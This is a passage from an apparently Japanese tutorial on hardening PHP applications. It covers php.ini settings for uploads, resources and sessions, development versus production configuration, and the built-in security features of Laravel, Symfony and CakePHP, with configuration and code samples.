PHP\u306e\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u30a2\u30af\u30bb\u30b9\u3092\u7279\u5b9a\u306e\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306b\u5236\u9650\nopen_basedir = \/var\/www\/html:\/tmp\n\n; \u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306e\u6307\u5b9a\nupload_tmp_dir = \/tmp\/php_uploads\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-124\">4. \u30d5\u30a1\u30a4\u30eb\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u306e\u8a2d\u5b9a<\/h5>\n\n\n\n<p>\u30d5\u30a1\u30a4\u30eb\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u6a5f\u80fd\u3092\u9069\u5207\u306b\u5236\u9650\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">; \u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3092\u6709\u52b9\u5316\uff08\u5fc5\u8981\u306a\u5834\u5408\u306e\u307f\uff09\nfile_uploads = On\n\n; \u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u30b5\u30a4\u30ba\u306e\u5236\u9650 (\u4f8b: 2MB)\nupload_max_filesize = 2M\n\n; \u540c\u6642\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u30d5\u30a1\u30a4\u30eb\u6570\u306e\u5236\u9650\nmax_file_uploads = 5\n\n; POST\u30c7\u30fc\u30bf\u30b5\u30a4\u30ba\u306e\u5236\u9650 (upload_max_filesize\u3088\u308a\u5927\u304d\u304f\u8a2d\u5b9a)\npost_max_size = 8M\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-125\">5. \u30ea\u30bd\u30fc\u30b9\u5236\u9650\u306e\u8a2d\u5b9a<\/h5>\n\n\n\n<p>\u30ea\u30bd\u30fc\u30b9\u6d88\u8cbb\u3092\u5236\u9650\u3057\u3001DoS\u653b\u6483\u306e\u30ea\u30b9\u30af\u3092\u8efd\u6e1b\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">; \u30e1\u30e2\u30ea\u4f7f\u7528\u91cf\u306e\u5236\u9650\nmemory_limit = 128M\n\n; \u5b9f\u884c\u6642\u9593\u306e\u5236\u9650\uff08\u79d2\uff09\nmax_execution_time = 30\n\n; \u5165\u529b\u30c7\u30fc\u30bf\u51e6\u7406\u6642\u9593\u306e\u5236\u9650\uff08\u79d2\uff09\nmax_input_time = 60\n\n; \u5165\u529b\u5909\u6570\u306e\u5236\u9650\nmax_input_vars = 1000\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-126\">6. \u30bb\u30c3\u30b7\u30e7\u30f3\u7ba1\u7406\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8a2d\u5b9a<\/h5>\n\n\n\n<p>\u30bb\u30c3\u30b7\u30e7\u30f3\u30cf\u30a4\u30b8\u30e3\u30c3\u30af\u306a\u3069\u306e\u653b\u6483\u3092\u9632\u6b62\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">; \u30bb\u30c3\u30b7\u30e7\u30f3ID\u306e\u53b3\u683c\u30e2\u30fc\u30c9\uff08\u7121\u52b9\u306a\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3092\u62d2\u5426\uff09\nsession.use_strict_mode = 1\n\n; \u30af\u30c3\u30ad\u30fc\u306e\u307f\u3067\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3092\u7ba1\u7406\nsession.use_only_cookies = 1\n\n; JavaScript\u304b\u3089\u306e\u30bb\u30c3\u30b7\u30e7\u30f3Cookie\u30a2\u30af\u30bb\u30b9\u3092\u9632\u6b62\nsession.cookie_httponly = 1\n\n; HTTPS\u3067\u306e\u307f\u30bb\u30c3\u30b7\u30e7\u30f3Cookie\u3092\u9001\u4fe1\nsession.cookie_secure = 1\n\n; SameSite\u5c5e\u6027\u306e\u8a2d\u5b9a (PHP 7.3\u4ee5\u4e0a)\nsession.cookie_samesite = \"Lax\"\n\n; \u30bb\u30c3\u30b7\u30e7\u30f3\u306e\u6700\u5927\u6709\u52b9\u671f\u9593\uff08\u79d2\uff09\nsession.gc_maxlifetime = 1440\n\n; \u30bb\u30c3\u30b7\u30e7\u30f3Cookie\u306e\u6709\u52b9\u671f\u9650\uff080\u306f\u30d6\u30e9\u30a6\u30b6\u3092\u9589\u3058\u308b\u307e\u3067\uff09\nsession.cookie_lifetime = 0\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-127\">7. \u305d\u306e\u4ed6\u306e\u91cd\u8981\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8a2d\u5b9a<\/h5>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">; PHP\u30d0\u30fc\u30b8\u30e7\u30f3\u60c5\u5831\u306e\u975e\u8868\u793a\nexpose_php = Off\n\n; CGI\u74b0\u5883\u3067\u306e\u5f37\u5236\u30ea\u30c0\u30a4\u30ec\u30af\u30c8\ncgi.force_redirect = 1\n\n; \u30d5\u30a1\u30a4\u30eb\u64cd\u4f5c\u95a2\u6570\u304c\u30b7\u30f3\u30dc\u30ea\u30c3\u30af\u30ea\u30f3\u30af\u3092\u305f\u3069\u308b\u3053\u3068\u3092\u8a31\u53ef\u3059\u308b\u304b\n; \uff08\u53ef\u80fd\u3067\u3042\u308c\u3070\u5236\u9650\u3059\u308b\uff09\nsymbolic_links = Off\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-128\">\u8a2d\u5b9a\u306e\u78ba\u8a8d\u3068\u5909\u66f4\u65b9\u6cd5<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-129\">\u73fe\u5728\u306e\u8a2d\u5b9a\u3092\u78ba\u8a8d\u3059\u308b<\/h5>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u5b89\u5168\u306a\u74b0\u5883\u3067\u306e\u307f\u5b9f\u884c\uff08\u958b\u767a\u74b0\u5883\u306a\u3069\uff09\nphpinfo();\n\n\/\/ \u307e\u305f\u306f\u7279\u5b9a\u306e\u8a2d\u5b9a\u306e\u307f\u3092\u78ba\u8a8d\necho ini_get('allow_url_include');\n?&gt;\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-130\">\u8a2d\u5b9a\u306e\u5909\u66f4\u65b9\u6cd5<\/h5>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>php.ini \u30d5\u30a1\u30a4\u30eb\u3092\u76f4\u63a5\u7de8\u96c6<\/strong>\uff1a \u30b5\u30fc\u30d0\u30fc\u5168\u4f53\u306b\u9069\u7528\u3055\u308c\u308b\u6700\u3082\u57fa\u672c\u7684\u306a\u65b9\u6cd5\u3067\u3059\u3002\u5909\u66f4\u5f8c\u306fWeb\u30b5\u30fc\u30d0\u30fc\u306e\u518d\u8d77\u52d5\u304c\u5fc5\u8981\u3067\u3059\u3002<\/li>\n\n\n\n<li><strong>.htaccess \u30d5\u30a1\u30a4\u30eb\u3067\u306e\u8a2d\u5b9a\uff08Apache\uff09<\/strong>\uff1a <code>php_flag display_errors off php_value error_reporting E_ALL<\/code><\/li>\n\n\n\n<li><strong>\u5b9f\u884c\u6642\u306e\u8a2d\u5b9a\u5909\u66f4<\/strong>\uff1a <code>&lt;?php \/\/ \u30b9\u30af\u30ea\u30d7\u30c8\u5185\u3067\u4e00\u6642\u7684\u306b\u8a2d\u5b9a\u3092\u5909\u66f4 ini_set('display_errors', '0'); ?&gt;<\/code> \u305f\u3060\u3057\u3001\u4e00\u90e8\u306e\u8a2d\u5b9a\u306f\u5b9f\u884c\u6642\u306b\u5909\u66f4\u3067\u304d\u307e\u305b\u3093\uff08<code>PHP_INI_SYSTEM<\/code>, <code>PHP_INI_PERDIR<\/code>\uff09\u3002<\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-131\">\u958b\u767a\u74b0\u5883\u3068\u672c\u756a\u74b0\u5883\u306e\u5206\u96e2<\/h4>\n\n\n\n<p>\u7406\u60f3\u7684\u306b\u306f\u3001\u958b\u767a\u74b0\u5883\u3068\u672c\u756a\u74b0\u5883\u3067\u7570\u306a\u308b<code>php.ini<\/code>\u30d5\u30a1\u30a4\u30eb\u3092\u4f7f\u7528\u3059\u3079\u304d\u3067\u3059\u3002\u74b0\u5883\u306b\u5fdc\u3058\u305f\u8a2d\u5b9a\u3092\u81ea\u52d5\u7684\u306b\u5207\u308a\u66ff\u3048\u308b\u65b9\u6cd5\u3082\u691c\u8a0e\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u74b0\u5883\u306b\u5fdc\u3058\u305f\u8a2d\u5b9a\u306e\u9069\u7528\n$environment = getenv('APP_ENV') ?: 'production';\n\nif ($environment === 'development') {\n    ini_set('display_errors', '1');\n    ini_set('error_reporting', E_ALL);\n} else {\n    ini_set('display_errors', '0');\n    ini_set('error_reporting', E_ALL &amp; ~E_DEPRECATED &amp; ~E_STRICT);\n}\n?&gt;\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-132\">PHP\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8a2d\u5b9a\u306e\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9<\/h4>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u5b9a\u671f\u7684\u306a\u8a2d\u5b9a\u30ec\u30d3\u30e5\u30fc<\/strong>\uff1a \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8a2d\u5b9a\u3092\u5b9a\u671f\u7684\u306b\u898b\u76f4\u3057\u3001\u6700\u65b0\u306e\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9\u306b\u5408\u308f\u305b\u3066\u66f4\u65b0\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/li>\n\n\n\n<li><strong>\u6700\u5c0f\u6a29\u9650\u306e\u539f\u5247\u306e\u9069\u7528<\/strong>\uff1a <code>disable_functions<\/code>\u3084<code>open_basedir<\/code>\u306a\u3069\u3092\u4f7f\u7528\u3057\u3066\u3001\u5fc5\u8981\u6700\u5c0f\u9650\u306e\u6a5f\u80fd\u3084\u30a2\u30af\u30bb\u30b9\u6a29\u9650\u306e\u307f\u3092\u8a31\u53ef\u3057\u307e\u3059\u3002<\/li>\n\n\n\n<li><strong>\u8907\u6570\u5c64\u3067\u306e\u4fdd\u8b77<\/strong>\uff1a PHP\u8a2d\u5b9a\u3060\u3051\u3067\u306a\u304f\u3001Web\u30b5\u30fc\u30d0\u30fc\u8a2d\u5b9a\u3084\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30ec\u30d9\u30eb\u3067\u306e\u4fdd\u8b77\u3082\u7d44\u307f\u5408\u308f\u305b\u3066\u304f\u3060\u3055\u3044\u3002<\/li>\n\n\n\n<li><strong>\u8a2d\u5b9a\u5909\u66f4\u5f8c\u306e\u30c6\u30b9\u30c8<\/strong>\uff1a \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8a2d\u5b9a\u3092\u5909\u66f4\u3057\u305f\u5f8c\u306f\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u6a5f\u80fd\u30c6\u30b9\u30c8\u3092\u5fc5\u305a\u5b9f\u65bd\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/li>\n<\/ol>\n\n\n\n<p>\u9069\u5207\u306a<code>php.ini<\/code>\u8a2d\u5b9a\u306f\u3001PHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u5927\u5e45\u306b\u5411\u4e0a\u3055\u305b\u308b\u57fa\u76e4\u3068\u306a\u308a\u307e\u3059\u3002\u7279\u306b\u5171\u6709\u30db\u30b9\u30c6\u30a3\u30f3\u30b0\u74b0\u5883\u3067\u306f\u3001<code>.htaccess<\/code>\u3084<code>ini_set()<\/code>\u3092\u4f7f\u3063\u305f\u90e8\u5206\u7684\u306a\u8a2d\u5b9a\u5909\u66f4\u3082\u6709\u52b9\u6d3b\u7528\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-133\">PHP\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6a5f\u80fd\u6d3b\u7528\u6cd5<\/h3>\n\n\n\n<p>\u30e2\u30c0\u30f3\u306aPHP\u958b\u767a\u3067\u306f\u3001\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u4f7f\u7528\u304c\u6a19\u6e96\u7684\u3068\u306a\u3063\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306b\u306f\u591a\u304f\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6a5f\u80fd\u304c\u7d44\u307f\u8fbc\u307e\u308c\u3066\u304a\u308a\u3001\u9069\u5207\u306b\u6d3b\u7528\u3059\u308b\u3053\u3068\u3067\u52b9\u7387\u7684\u306b\u5b89\u5168\u306a\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u69cb\u7bc9\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-134\">\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u4f7f\u7528\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u30e1\u30ea\u30c3\u30c8<\/h4>\n\n\n\n<p>PHP\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306f\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306e\u5c02\u9580\u5bb6\u306b\u3088\u3063\u3066\u8a2d\u8a08\u3055\u308c\u3001\u7d99\u7d9a\u7684\u306b\u6539\u5584\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u4e3b\u306a\u30e1\u30ea\u30c3\u30c8\u306b\u306f\u4ee5\u4e0b\u304c\u3042\u308a\u307e\u3059\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306e\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9\u304c\u7d44\u307f\u8fbc\u307e\u308c\u3066\u3044\u308b<\/li>\n\n\n\n<li>\u4e00\u822c\u7684\u306a\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u4fdd\u8b77\u6a5f\u80fd\u304c\u6a19\u6e96\u3067\u63d0\u4f9b\u3055\u308c\u3066\u3044\u308b<\/li>\n\n\n\n<li>\u30b3\u30df\u30e5\u30cb\u30c6\u30a3\u306b\u3088\u308b\u7d99\u7d9a\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ec\u30d3\u30e5\u30fc\u3068\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8<\/li>\n\n\n\n<li>\u6a19\u6e96\u5316\u3055\u308c\u305f\u30b3\u30fc\u30c9\u69cb\u9020\u306b\u3088\u308a\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ec\u30d3\u30e5\u30fc\u304c\u5bb9\u6613\u306b\u306a\u308b<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-135\">\u4e3b\u8981\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6a5f\u80fd\u6bd4\u8f03<\/h4>\n\n\n<div id=\"id-6315aaf4-d0f0-4af7-9da6-cb95473857ad\">\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6a5f\u80fd<\/th><th>Laravel<\/th><th>Symfony<\/th><th>CakePHP<\/th><th>CodeIgniter<\/th><\/tr><\/thead><tbody><tr><td>CSRF\u4fdd\u8b77<\/td><td>\u2713<\/td><td>\u2713<\/td><td>\u2713<\/td><td>\u2713<\/td><\/tr><tr><td>XSS\u5bfe\u7b56<\/td><td>\u2713 (Blade)<\/td><td>\u2713 (Twig)<\/td><td>\u2713<\/td><td>\u2713<\/td><\/tr><tr><td>SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u5bfe\u7b56<\/td><td>\u2713 (Eloquent)<\/td><td>\u2713 (Doctrine)<\/td><td>\u2713 (ORM)<\/td><td>\u2713 (Query Builder)<\/td><\/tr><tr><td>\u8a8d\u8a3c\u30b7\u30b9\u30c6\u30e0<\/td><td>\u2713<\/td><td>\u2713<\/td><td>\u2713<\/td><td>\u2713<\/td><\/tr><tr><td>\u8a8d\u53ef\u30b7\u30b9\u30c6\u30e0<\/td><td>\u2713 (Gates &amp; Policies)<\/td><td>\u2713 (Voters)<\/td><td>\u2713 (ACL)<\/td><td>\u57fa\u672c\u7684\u306a\u6a5f\u80fd<\/td><\/tr><tr><td>\u30bb\u30c3\u30b7\u30e7\u30f3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3<\/td><td>\u2713<\/td><td>\u2713<\/td><td>\u2713<\/td><td>\u2713<\/td><\/tr><tr><td>\u30c7\u30fc\u30bf\u6697\u53f7\u5316<\/td><td>\u2713<\/td><td>\u2713<\/td><td>\u2713<\/td><td>\u2713<\/td><\/tr><tr><td>HTTPS\u5f37\u5236<\/td><td>\u2713<\/td><td>\u2713<\/td><td>\u2713<\/td><td>\u2713<\/td><\/tr><tr><td>2FA\u5bfe\u5fdc<\/td><td>\u2713 (Fortify)<\/td><td>\u2713<\/td><td>\u30d7\u30e9\u30b0\u30a4\u30f3<\/td><td>\u30d7\u30e9\u30b0\u30a4\u30f3<\/td><\/tr><\/tbody><\/table><\/figure>\n<\/div>\n\n\n<h4 class=\"wp-block-heading\" id=\"i-136\">\u4e3b\u8981\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6a5f\u80fd\u6d3b\u7528\u6cd5<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-137\">1. Laravel \u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6a5f\u80fd<\/h5>\n\n\n\n<p><strong>CSRF\u4fdd\u8b77\u306e\u6d3b\u7528<\/strong><\/p>\n\n\n\n<p>Laravel\u306e\u3059\u3079\u3066\u306e\u30d5\u30a9\u30fc\u30e0\u306b\u306f\u3001CSRF\u30c8\u30fc\u30af\u30f3\u3092\u542b\u3081\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;form method=\"POST\" action=\"\/profile\"&gt;\n    @csrf\n    &lt;!-- \u30d5\u30a9\u30fc\u30e0\u30d5\u30a3\u30fc\u30eb\u30c9 --&gt;\n&lt;\/form&gt;\n<\/pre>\n\n\n\n<p>Ajax\u30ea\u30af\u30a8\u30b9\u30c8\u306e\u5834\u5408\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$.ajaxSetup({\n    headers: {\n        'X-CSRF-TOKEN': $('meta[name=\"csrf-token\"]').attr('content')\n    }\n});\n<\/pre>\n\n\n\n<p><strong>Blade \u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u306e\u81ea\u52d5\u30a8\u30b9\u30b1\u30fc\u30d7\u3092\u6d3b\u7528<\/strong><\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{{-- \u4ee5\u4e0b\u306f\u81ea\u52d5\u7684\u306b\u30a8\u30b9\u30b1\u30fc\u30d7\u3055\u308c\u308b --}}\n{{ $userInput }}\n\n{{-- \u4fe1\u983c\u3067\u304d\u308bHTML\u3092\u51fa\u529b\u3059\u308b\u5834\u5408\uff08\u6ce8\u610f\u3057\u3066\u4f7f\u7528\uff09 --}}\n{!! $trustedHtml !!}\n<\/pre>\n\n\n\n<p><strong>\u8a8d\u8a3c\u6a5f\u80fd\u306e\u6d3b\u7528<\/strong><\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u8a8d\u8a3c\u6a5f\u80fd\u3092\u7d20\u65e9\u304f\u30bb\u30c3\u30c8\u30a2\u30c3\u30d7\nphp artisan make:auth  \/\/ Laravel 6\u4ee5\u524d\nphp artisan ui:auth  \/\/ Laravel 6\u4ee5\u964d\n\n\/\/ \u307e\u305f\u306f Laravel Breeze\/Jetstream \u3092\u4f7f\u7528\nphp artisan breeze:install\n<\/pre>\n\n\n\n<p><strong>\u30c7\u30fc\u30bf\u30d0\u30ea\u30c7\u30fc\u30b7\u30e7\u30f3\u306e\u6d3b\u7528<\/strong><\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">public function store(Request $request)\n{\n    $validated = $request-&gt;validate([\n        'title' =&gt; 'required|max:255',\n        'email' =&gt; 'required|email|unique:users',\n        'password' =&gt; 'required|min:8|confirmed',\n    ]);\n    \n    \/\/ \u30d0\u30ea\u30c7\u30fc\u30b7\u30e7\u30f3\u6e08\u307f\u30c7\u30fc\u30bf\u306e\u307f\u3092\u4f7f\u7528\n}\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-138\">2. Symfony \u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6a5f\u80fd<\/h5>\n\n\n\n<p><strong>Symfony Security Component\u306e\u6d3b\u7528<\/strong><\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ config\/packages\/security.yaml\nsecurity:\n    # \u30d1\u30b9\u30ef\u30fc\u30c9\u30cf\u30c3\u30b7\u30e5\u5316\u8a2d\u5b9a\n    password_hashers:\n        Symfony\\Component\\Security\\Core\\User\\PasswordAuthenticatedUserInterface: 'auto'\n        \n    # \u30d7\u30ed\u30d0\u30a4\u30c0\u306e\u8a2d\u5b9a\n    providers:\n        app_user_provider:\n            entity:\n                class: App\\Entity\\User\n                property: email\n                \n    # \u30d5\u30a1\u30a4\u30a2\u30a6\u30a9\u30fc\u30eb\u8a2d\u5b9a\n    firewalls:\n        main:\n            pattern: ^\/\n            lazy: true\n            provider: app_user_provider\n            form_login:\n                login_path: app_login\n                check_path: app_login\n            logout:\n                path: app_logout\n<\/pre>\n\n\n\n<p><strong>CSRF\u30c8\u30fc\u30af\u30f3\u306e\u6d3b\u7528<\/strong><\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ Form\u3067\u306e\u30c8\u30fc\u30af\u30f3\u4f7f\u7528\n{{ form_start(form) }}\n    {{ form_widget(form._token) }}\n    &lt;!-- \u30d5\u30a9\u30fc\u30e0\u30d5\u30a3\u30fc\u30eb\u30c9 --&gt;\n{{ form_end(form) }}\n\n\/\/ \u307e\u305f\u306f\u624b\u52d5\u3067\u8ffd\u52a0\n&lt;form method=\"post\" action=\"{{ path('app_form_submit') }}\"&gt;\n    &lt;input type=\"hidden\" name=\"_token\" value=\"{{ csrf_token('form_id') }}\"&gt;\n    &lt;!-- \u30d5\u30a9\u30fc\u30e0\u30d5\u30a3\u30fc\u30eb\u30c9 --&gt;\n&lt;\/form&gt;\n<\/pre>\n\n\n\n<p><strong>Voter\u3092\u4f7f\u3063\u305f\u8a8d\u53ef\u30b7\u30b9\u30c6\u30e0<\/strong><\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ src\/Security\/PostVoter.php\nnamespace App\\Security;\n\nuse App\\Entity\\Post;\nuse App\\Entity\\User;\nuse Symfony\\Component\\Security\\Core\\Authorization\\Voter\\Voter;\n\nclass PostVoter extends Voter\n{\n    protected function supports(string $attribute, $subject): bool\n    {\n        return in_array($attribute, ['EDIT', 'VIEW'])\n            &amp;&amp; $subject instanceof Post;\n    }\n\n    protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token): bool\n    {\n        $user = $token-&gt;getUser();\n        if (!$user instanceof User) {\n            return false;\n        }\n\n        $post = $subject;\n\n        return match($attribute) {\n            'VIEW' =&gt; $this-&gt;canView($post, $user),\n            'EDIT' =&gt; $this-&gt;canEdit($post, $user),\n            default =&gt; throw new \\LogicException('This code should not be reached!')\n        };\n    }\n}\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-139\">3. CakePHP \u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6a5f\u80fd<\/h5>\n\n\n\n<p><strong>Authentication\u3068Authorization\u306e\u6d3b\u7528<\/strong><\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ src\/Application.php\npublic function middleware(MiddlewareQueue $middlewareQueue): MiddlewareQueue\n{\n    \/\/ \u8a8d\u8a3c\u30df\u30c9\u30eb\u30a6\u30a7\u30a2\u306e\u8ffd\u52a0\n    $authentication = new AuthenticationMiddleware($this);\n    \n    $middlewareQueue\n        \/\/ ... \u4ed6\u306e\u30df\u30c9\u30eb\u30a6\u30a7\u30a2\n        -&gt;add($authentication);\n        \n    return $middlewareQueue;\n}\n\n\/\/ \u8a8d\u8a3c\u306e\u8a2d\u5b9a\n\/\/ src\/Application.php\npublic function getAuthenticationService(ServerRequestInterface $request): AuthenticationServiceInterface\n{\n    $service = new AuthenticationService();\n    \n    \/\/ \u8b58\u5225\u5b50\u3068\u30aa\u30fc\u30bb\u30f3\u30c6\u30a3\u30b1\u30fc\u30bf\u30fc\u306e\u8a2d\u5b9a\n    $service-&gt;loadIdentifier('Authentication.Password', [\n        'fields' =&gt; ['username' =&gt; 'email', 'password' =&gt; 'password']\n    ]);\n    $service-&gt;loadAuthenticator('Authentication.Session');\n    $service-&gt;loadAuthenticator('Authentication.Form', [\n        'fields' =&gt; ['username' =&gt; 'email', 'password' =&gt; 'password'],\n        'loginUrl' =&gt; '\/users\/login'\n    ]);\n    \n    return $service;\n}\n<\/pre>\n\n\n\n<p><strong>CSRF\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u306e\u6d3b\u7528<\/strong><\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" 